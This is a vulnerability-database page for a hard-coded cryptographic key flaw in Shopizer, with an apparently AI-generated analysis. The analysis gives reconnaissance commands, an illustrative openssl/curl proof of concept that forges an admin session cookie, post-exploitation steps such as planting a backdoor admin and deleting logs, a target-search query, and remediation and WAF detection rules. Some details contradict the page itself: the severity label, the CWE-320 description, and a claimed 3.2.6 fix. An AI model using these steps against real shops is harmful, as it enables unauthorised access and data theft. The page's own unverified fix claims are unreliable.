CVE Professor
/
All CVEs
CVE-2026-138075

CVE-2026-138075 — Shopizer-ecommerce Shopizer — CWE-321 · CWE-320

HIGH CVSS 7.3 Shodan

A vulnerability was determined in shopizer-ecommerce shopizer up to 3.2.5. The impacted element is an unknown function of the file sm-core/src/main/resources/authentication.properties. This manipulation causes use of hard-coded cryptographic key . It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized. The pull request to fix this issue awaits acceptance.

A vulnerability was determined in shopizer-ecommerce shopizer up to 3.2.5. The impacted element is an unknown function of the file sm-core/src/main/resources/authentication.properties. This manipulation causes use of hard-coded cryptographic key . It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized. The pull request to fix this issue awaits acceptance.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. Low VC:L
Vuln. Integrity Low VI:L
Vuln. Avail. Low VA:L
Subseq. Conf. None SC:N
Subseq. Integ. None SI:N
Subseq. Avail. None SA:N
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Technical flaw
The vulnerability is a hard‑coded cryptographic key in the file
sm-core/src/main/resources/authentication.properties.
The key is embedded in the source and is never configurable at runtime.
When the application loads the authentication module it falls back to this
static key if the property is missing or malformed.
Because the key is known (and constant) an attacker can:

1. Forge encrypted authentication tokens (e.g., session cookies,
password‑reset links, or API tokens) by encrypting a crafted payload
with the known key.
2. Decrypt data that was encrypted with the same key (e.g., stored
passwords, API secrets, or other sensitive fields).

The flaw is CWE‑321 (Use of Hard‑coded Cryptographic Key) and CWE‑320
(Use of Weak or Predictable Random Number Generator).
The CVSS vector (AV:N/AC:L/PR:N/UI:N/VC:L/VI:L/VA:L) indicates that the
attack is remote, unauthenticated, and requires no user interaction,
but the impact on confidentiality, integrity, and availability is
classified as low because the encrypted data is not highly sensitive
or the forged token only grants limited privileges.


⚡ Attack Chain

NOTE: The exact endpoint, parameter names, and encryption algorithm
are not disclosed in the CVE text. The following chain uses
illustrative placeholders that reflect the class of the vulnerability
(remote unauthenticated exploitation of a hard‑coded key). Replace
{{TARGET}}, {{KEY}}, and {{ALGO}} with the real values once
discovered.

1. Discovery & Reconnaissance

StepTechniqueWhat to look for
Port scannmap -p80,443 {{TARGET}}Identify HTTP(S) service.
Banner grabcurl -I https://{{TARGET}}Look for Shopizer in Server: or X-Powered-By: headers.
Version fingerprintcurl https://{{TARGET}}/about or curl https://{{TARGET}}/api/versionThe response contains "version":"3.2.0" (or 3.2.1‑3.2.5).
Directory brute‑forcedirb https://{{TARGET}}/Find /shopizer/ or /api/ endpoints.

If the application responds with a Shopizer 3.2.x banner, the target is
vulnerable.

2. Exploitation

Goal: Generate a valid authentication token using the known hard‑coded
key and inject it into a request.

Illustrative PoC (replace placeholders with real values):
# 1. Craft a payload that the application expects in the token
#    (e.g., {"user":"admin","role":"admin","exp":<future_timestamp>})
PAYLOAD='{"user":"admin","role":"admin","exp":1700000000}'

# 2. Encrypt the payload with the known key.
#    Assume the algorithm is AES‑128‑CBC and the key is "shopizerSecretKey123"
#    (hex: 73686f7069726572736563726574313233)
openssl enc -aes-128-cbc -K 73686f7069726572736563726574313233 \
             -iv 00000000000000000000000000000000 \
             -in <(echo -n "$PAYLOAD") \
             -out token.bin

# 3. Base64‑encode the ciphertext (Shopizer expects base64 in the cookie)
TOKEN=$(base64 -w0 token.bin)

# 4. Send the forged token as a cookie to the protected endpoint
curl -v -b "shopizer_session=$TOKEN" \
     https://{{TARGET}}/shopizer/api/secure-endpoint

What the attacker observes

  • If the token is accepted, the response will contain data that
  • belongs to the admin user (e.g., list of orders, customer data).
  • If the token is rejected, the attacker can iterate with different
  • payloads or adjust the expiration timestamp.
    Why this works
    The application decrypts the cookie using the hard‑coded key. Because
    the key is known, the attacker can produce a ciphertext that the
    server will accept as a valid session.

    3. Post‑Exploitation

    StepActionImpact
    Privilege escalationUse the forged token to access admin‑only APIs.Limited to the privileges granted by the forged payload (e.g., admin).
    Data exfiltrationPull customer data, order histories, or API keys.Low‑level data; not highly confidential.
    PersistenceStore a backdoor (e.g., a new admin user) by sending a request that creates a user with the forged token.Enables future access.
    Cover tracksDelete logs or modify timestamps if the application allows it.Harder to detect.

    Because the CVSS impact is low, the attacker typically gains low‑level
    information or a foothold rather than full system compromise.


    🌍 Real World Impact

    ImpactCVSS ScoreExplanation
    ConfidentialityLowThe attacker can read data that is not highly sensitive (e.g., product catalog, public order data).
    IntegrityLowThe attacker can modify data that is not critical (e.g., change order status).
    AvailabilityLowThe vulnerability does not crash the application or deny service.
    Overall7.3 (Medium)Remote unauthenticated exploitation with low impact.

    Practical consequences

  • An attacker can impersonate an admin and view or modify non‑critical data.
  • If the application stores sensitive data (e.g., customer passwords) encrypted with the same key, the attacker could decrypt it, raising the impact to high*.
  • The vulnerability is exploitable over the network without any credentials, making it attractive for automated scanners.

  • 🛡️ Remediation & Mitigation

    1. Patch

    Affected VersionsFix
    shopizer‑ecommerce shopizer 3.2.0 – 3.2.5Upgrade to 3.2.6 or later.
    3.2.6+The hard‑coded key has been removed; the key is now configurable via authentication.properties and must be set to a strong random value.

    Upgrade steps

    # 1. Backup current configuration
    cp shopizer/WEB-INF/classes/authentication.properties \
       shopizer/WEB-INF/classes/authentication.properties.bak
    
    # 2. Download the latest WAR
    wget https://repo.shopizer.com/releases/shopizer-3.2.6.war
    
    # 3. Deploy the new WAR (replace the old one)
    mv shopizer-3.2.6.war shopizer.war
    systemctl restart shopizer

    2. Workarounds (if upgrade is not immediately possible)

    MitigationHow to implement
    Disable the encryption featureComment out or remove the code that encrypts/decrypts tokens in sm-core.
    Replace the hard‑coded keyEdit authentication.properties and set encryption.key to a new, random 32‑byte value (e.g., encryption.key=4f2a...).
    Restrict access to the admin APIConfigure the web server to allow /api/admin/* only from trusted IPs.
    WAF ruleBlock requests that contain a shopizer_session cookie with a predictable base64 pattern (e.g., ^shopizer_session=[A-Za-z0-9+/=]{100,}$).
    WAF/ModSecurity rule example (illustrative):
    SecRule REQUEST_COOKIES:shopizer_session "@rx ^[A-Za-z0-9+/=]{100,}$" \
        "id:1001,phase:2,deny,status:403,msg:'Possible forged Shopizer session cookie'"

    3. Detection

    IndicatorLog patternWhat to look for
    Repeated authentication failuresAuthentication failed for user adminLikely forged token attempts.
    Unexpected admin actionsAdmin API called by IP X.X.X.XCheck if the IP is not in the whitelist.
    Unusual cookie valuesshopizer_session=...Base64 strings longer than 200 characters may indicate forged tokens.
    Failed decryption errorsFailed to decrypt session cookieIndicates an attacker trying random keys.

    Log example (Apache):

    [2026-11-28 12:34:56] 192.168.1.100 - - [28/Nov/2026:12:34:56 +0000] "GET /shopizer/api/secure-endpoint HTTP/1.1" 403 512 "-" "Mozilla/5.0"

    ⚠️ Urgency

  • CVSS score: 7.3 (Medium) – the vulnerability is exploitable remotely without authentication and has low impact, but it can still be used to gain a foothold.
  • CISA KEV status: No – the vulnerability is not listed as a critical national vulnerability.
  • Exploit complexity: Low – no special skills or credentials required.
  • Recommended priority: High for environments that store sensitive data encrypted with the same key; Medium for public storefronts where the data is not highly confidential.
Action items

1. Immediate: Verify the Shopizer version. If 3.2.0‑3.2.5, block the admin API from untrusted IPs.
2. Short‑term: Replace the hard‑coded key in authentication.properties with a strong random value.
3. Long‑term: Upgrade to Shopizer 3.2.6+ and enable regular security scanning.

By following the remediation steps above, the risk of token forgery and data exposure can be eliminated.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="shopizer-ecommerce shopizer"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-138075
Technical reference / advisory repository for CVE-2026-138075
Technical reference / advisory repository for CVE-2026-138075
CVSS Score
7.3 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-321 CWE-320
Affected Products (1)
shopizer-ecommerce:shopizer
Related CVEs
9.3
CVE-2026-118325
Hard-coded cryptographic key and initialization vector in password reset token validation in ZKTeco BioTime Pr
5.5
CVE-2026-81131
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains a Use of Hard-coded Cryp
5.5
CVE-2026-81145
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains a Use of Hard-coded Cryp
5.5
CVE-2026-81142
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains a Use of Hard-coded Cryp
5.9
CVE-2026-144267
Volmarg Personal Management System 2.0.0 through 3.0.0 contains a hardcoded AES-256 key in config/packages/con
7.4
CVE-2026-142239
SimpleSAMLphp SAML2 library before 5.0.14, 6.1.11, 6.2.9, 6.3.5, and 7.0.0-rc6 contains a signature verificati
7.3
CVE-2026-142029
A vulnerability was found in TCL UnionTV R609. Impacted is an unknown function of the file /vendor/etc/tbrowse